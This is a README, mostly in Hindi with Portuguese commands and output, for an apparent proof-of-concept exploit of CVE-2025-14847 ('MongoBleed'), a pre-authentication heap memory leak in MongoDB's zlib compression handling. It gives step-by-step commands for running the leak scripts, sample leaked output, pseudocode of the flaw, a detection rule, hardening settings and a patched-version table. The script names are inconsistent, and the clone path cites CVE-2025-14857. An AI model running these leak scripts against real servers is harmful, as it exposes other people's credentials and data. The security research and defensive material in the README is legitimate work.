
CVE-2025-14847 (MongoBleed) के लिए कार्यात्मक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो MongoDB में एक प्री-ऑथेंटिकेशन हीप मेमोरी डिस्क्लोज़र भेद्यता है। इसमें स्वचालित मेमोरी लीक डिटेक्शन, पैटर्न विश्लेषण, और अधिकृत सुरक्षा परीक्षण और अनुसंधान के लिए Docker-आधारित लैब वातावरण शामिल है।
CVE-2025-14847 (MongoBleed) के लिए पूर्ण प्रमाण-अवधारणा
परीक्षित: ✅ MongoDB 7.0.5 | 14.300+ सफल शोषण | 4 UUID लीक
यह रिपॉजिटरी CVE-2025-14847 भेद्यता के लिए एक पूरी तरह से कार्यात्मक प्रमाण-अवधारणा (PoC) रखता है, जिसे MongoBleed के नाम से जाना जाता है - MongoDB में प्रमाणीकरण-पूर्व हीप मेमोरी रिसाव की एक गंभीर खामी।
दिसंबर 2025 में, रेनबो सिक्स सीज गेम पर एक बड़ा हमला हुआ जिसमें ~50.000 खिलाड़ी खातों से समझौता हुआ। संदेह है कि हमलावरों ने बैकएंड MongoDB में इस भेद्यता का शोषण किया ताकि लीक कर सकें:
R6S_SERVER_AUTH_*)TOURNAMENT_ADMIN, DEV_BUILD_WHITELIST)यह PoC R6 के यथार्थवादी डेटा के साथ हमले का अनुकरण करता है।
poc.py - पैटर्न विश्लेषण के साथ मुख्य शोषणlive_leaker.py - उन्नत वृद्धिशील स्कैनिंगpopular_heap.py - लक्ष्य डेटा से हीप भरने की स्क्रिप्ट246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd
# Clone o repositório
git clone CVE-2025-14857-MongoBleed.git
cd MongoDBPoc
# Inicie o ambiente vulnerável
docker-compose up -d
# Aguarde inicialização (15-20s)
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"
# 1. Popular heap com dados R6
python3 popular_heap.py 50
# 2. Verificar vulnerabilidade
python3 poc.py --target 127.0.0.1 --check
# 3. Explorar com live leaker (RECOMENDADO)
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json
[!] MongoBleed Live Leaker Avançado
[!] Alvo: 127.0.0.1:27017
[!] Faixa: doc_len 200 → 3000 (offset=500)
[*] Progresso: doc_len=245/3000 | Tentativas=100 | Taxa sucesso=100.0%
[!] PADRÕES R6 DETECTADOS (doc_len=245):
[UUID] 1 novo(s):
└─ 246434ed-759b-4ce9-bb9c-2f520a9919b8
MongoDB zlib के माध्यम से संदेश संपीड़न की अनुमति देता है। भेद्यता घोषित आकार बनाम वास्तविक आकार के अपर्याप्त सत्यापन में है:
Atacante → {compress: "zlib", uncompressedSize: 1MB, payload: <50 bytes>}
↓
Servidor aloca 1MB de heap ← VULNERABILIDADE
↓
Servidor descomprime apenas 50 bytes
↓
Servidor retorna 1MB inteiro!
└─ 50 bytes = dados reais
└─ ~1MB - 50 = VAZAMENTO DE MEMÓRIA
// ANTES DO PATCH
size_t uncompressedSize = header.uncompressedSize; // ← Controlado pelo atacante
buffer = malloc(uncompressedSize); // ← Aloca tamanho malicioso
zlib_decompress(compressed, buffer);
send(buffer, uncompressedSize); // ← VAZA BUFFER INTEIRO
MongoDBPoc/
├── poc.py # मुख्य शोषण
├── live_leaker.py # वृद्धिशील स्कैनिंग (✨ अनुशंसित)
├── popular_heap.py # लोड स्क्रिप्ट
├── docker-compose.yml # भेद्य MongoDB 7.0.5
├── init-db.js # 1000 खिलाड़ी + 500 सत्र R6
├── GUIA_TECNICO_COMPLETO.md # विस्तृत दस्तावेज़ीकरण (200+ पृष्ठ)
├── README.MD # अंग्रेज़ी में दस्तावेज़ीकरण
└── Portugues/ # अनुवादित संस्करण
├── poc_PT.py
├── README_PT.md
└── GUIA_RAPIDO.md
alert tcp any any -> any 27017 (
msg:"CVE-2025-14847 MongoBleed Attempt";
content:"|d4 07 00 00|";
byte_test:4,>,1000000,4,little;
sid:2025001;
)
net:
bindIp: 127.0.0.1 # NUNCA 0.0.0.0!
compression:
compressors: [] # Desabilitar zlib
security:
authorization: enabled
यह उपकरण केवल अधिकृत परीक्षण और शिक्षा के लिए है।
अनधिकृत उपयोग अवैध है और इसके परिणामस्वरूप हो सकता है:
- आपराधिक मुकदमा (ब्राज़ील में कानून 12.737/2012 के तहत)
- भारी जुर्माना
- कारावास
परीक्षण से पहले हमेशा लिखित अनुमति प्राप्त करें।
लेखक: Ermenson Jr
लाइसेंस: MIT (शैक्षिक उपयोग)
दिनांक: जनवरी 2026
तकनीकी प्रश्नों या सुरक्षा अनुसंधान में सहयोग के लिए:
जिम्मेदार आक्रामक सुरक्षा अनुसंधान के लिए विकसित।
Ubisoft, MongoDB Inc., या Rainbow Six Siege से संबद्ध नहीं।
🔒 जिम्मेदारी से उपयोग करें। सुरक्षा सभी के लिए है। 🔒
| मीट्रिक | परिणाम |
|---|
| परीक्षित MongoDB | 7.0.5 (भेद्य) |
| सफलता दर | 100% (14.300/14.300 अनुरोध) |
| लीक हुए UUID | 4 अद्वितीय |
| कुल लीक | 33 भिन्न स्ट्रिंग |
| सबसे बड़ा लीक | 176 बाइट्स/अनुरोध |
| पता लगाए गए पैटर्न | नेटवर्क लॉग, UUID, सिस्टम पथ |
| MongoDB श्रृंखला | भेद्य संस्करण | सुधारित संस्करण |
|---|
| 8.2.x | 8.2.0 – 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 – 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 – 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 – 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 – 5.0.31 | 5.0.32 |
| 4.4.x | 4.4.0 – 4.4.29 | 4.4.30 |
| ≤ 4.2 | सभी | बिना पैच (EOL) |